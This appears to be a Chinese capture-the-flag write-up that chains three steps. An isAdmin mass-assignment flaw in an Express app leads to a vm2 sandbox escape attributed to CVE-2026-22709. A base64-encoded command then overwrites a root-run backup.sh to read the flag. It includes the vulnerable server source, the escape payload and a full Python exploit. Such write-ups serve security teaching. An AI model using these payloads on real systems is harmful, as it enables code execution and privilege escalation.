下载源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177
| const express = require('express'); const path = require('path'); const session = require('express-session'); const { VM } = require('vm2'); const app = express();
app.use('/static', express.static(path.join(__dirname, 'public'))); app.use(express.json());
app.use(session({ secret: 'random', resave: false, saveUninitialized: false, cookie: { maxAge: 3600000, httpOnly: true } }));
const users = {};
function merge(target, source) { for (let key in source) { if (key === '__proto__') continue; if (typeof source[key] === 'object' && source[key] !== null) { if (!target[key]) target[key] = {}; merge(target[key], source[key]); } else { target[key] = source[key]; } } return target; }
app.get('/', (req, res) => { res.sendFile(path.join(__dirname, 'public', 'index.html')); });
app.post('/register', (req, res) => { const { username, password } = req.body; if (!username || !password) { return res.json({ error: '用户名和密码不能为空' }); } if (users[username]) { return res.json({ error: '用户已存在' }); } users[username] = { username, password }; res.json({ message: '注册成功,请登录' }); });
app.post('/login', (req, res) => { const { username, password } = req.body; const user = users[username]; if (!user || user.password !== password) { return res.json({ error: '用户名或密码错误' }); } req.session.user = { username: user.username }; res.json({ message: '登录成功', user: { username: user.username, isAdmin: user.isAdmin } }); });
app.post('/logout', (req, res) => { req.session.destroy((err) => { if (err) { return res.json({ error: '退出失败' }); } res.json({ message: '已退出登录' }); }); });
app.post('/changepassword', (req, res) => { if (!req.session.user) return res.json({ error: '请先登录' }); const username = req.session.user.username; const user = users[username]; const { oldPassword, newPassword, confirmPassword } = req.body; if (user.password !== oldPassword) { return res.json({ error: '旧密码错误' }); } if (newPassword !== confirmPassword) { return res.json({ error: '两次密码不一致' }); } merge(user, req.body); user.password = newPassword; res.json({ message: '密码修改成功' }); });
app.get('/me', (req, res) => { if (!req.session.user) return res.json({ error: '请先登录' }); const username = req.session.user.username; const user = users[username]; res.json({ username: user.username, isAdmin: user.isAdmin }); });
app.get('/admin', (req, res) => { if (!req.session.user) return res.json({ error: '请先登录' }); const username = req.session.user.username; const user = users[username]; if (user.isAdmin === true) { res.json({ message: '欢迎管理员!', }); } else { res.json({ error: '需要管理员权限' }); } });
app.post('/sandbox', async (req, res) => { if (!req.session.user) return res.json({ error: '请先登录' }); const username = req.session.user.username; const user = users[username]; if (user.isAdmin !== true) { return res.json({ error: '需要管理员权限' }); } const { code } = req.body; if (!code) return res.json({ error: '请提供代码' }); try { const sandboxResult = { value: null }; const vm = new VM({ timeout: 5000, sandbox: { __result: sandboxResult } }); const result = vm.run(code); await new Promise(resolve => setTimeout(resolve, 500)); res.json({ result: result?.toString() || '执行成功', output: sandboxResult.value }); } catch (error) { res.json({ error: error.message }); } });
app.listen(3000, () => { console.log('Server running on port 3000'); });
|
很明显,/changepassword存在原型链污染,正常注册的用户没有admin权限,但是在/sandbox路由执行命令需要admin权限,利用原型链污染,为当前用户赋上admin权限
1 2 3 4 5 6 7 8 9 10 11
| def get_admin(): payload = { "oldPassword":"123456", "newPassword":"123456", "confirmPassword":"123456", "isAdmin": True }
res = r_session.post(url+"/changepassword", json = payload)
print(res.text)
|

获取admin权限后,在/sandbox可以执行命令,但是需要绕过vm2沙箱,存在CVE-2026-22709,原始poc为:
1 2 3 4 5 6 7 8 9 10 11 12
| const error = new Error(); error.name = Symbol(); const f = async () => error.stack; const promise = f(); promise.catch(e => { const Error = e.constructor; const Function = Error.constructor; const f = new Function( "process.mainModule.require('child_process').execSync('whoami', { stdio: 'inherit' })" ); f(); });
|
但这样执行无回显,观察源码,存在静态文件目录/static,可以将命令执行结果写入/app/public目录以回显
执行ls -l / > /app/public/1得到结果

/flag权限不足无法直接读取,但是注意到/backup.sh,下载文件内容为:

是一个备份工具,所有权为root,大概率为root用户定期执行的脚本,尝试替换内容为cat /flag > /app/public/flag用于读取flag
执行命令为echo ZWNobyAiY2F0IC9mbGFnID4gL2FwcC9wdWJsaWMvZmxhZyIgPiAvYmFja3VwLnNo | base64 -d | sh
等待一会访问/app/public/flag获取flag

主要exp为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54
| import requests
url = "http://87b54468-2c1b-421d-9d98-ff40920b18e7.73.dart.ccsssc.com"
r_session = requests.session()
data = { "username": "BR", "password": "123456" } res = r_session.post(url+"/register", json=data) res = r_session.post(url+"/login", json=data)
def get_admin(): payload = { "oldPassword":"123456", "newPassword":"123456", "confirmPassword":"123456", "isAdmin": True }
res = r_session.post(url+"/changepassword", json = payload)
print(res.text)
def rce(): payload = """ const error = new Error(); error.name = Symbol(); const f = async () => error.stack; const promise = f(); promise.catch(e => { const Error = e.constructor; const Function = Error.constructor; const f = new Function( "process.mainModule.require('child_process').execSync('echo ZWNobyAiY2F0IC9mbGFnID4gL2FwcC9wdWJsaWMvZmxhZyIgPiAvYmFja3VwLnNo | base64 -d | sh', { stdio: 'inherit' })" ); f(); }); """
exp = { "code": payload.strip() }
res = r_session.post(url+"/sandbox", json=exp)
print(res.text)
if __name__ == "__main__": get_admin() rce()
|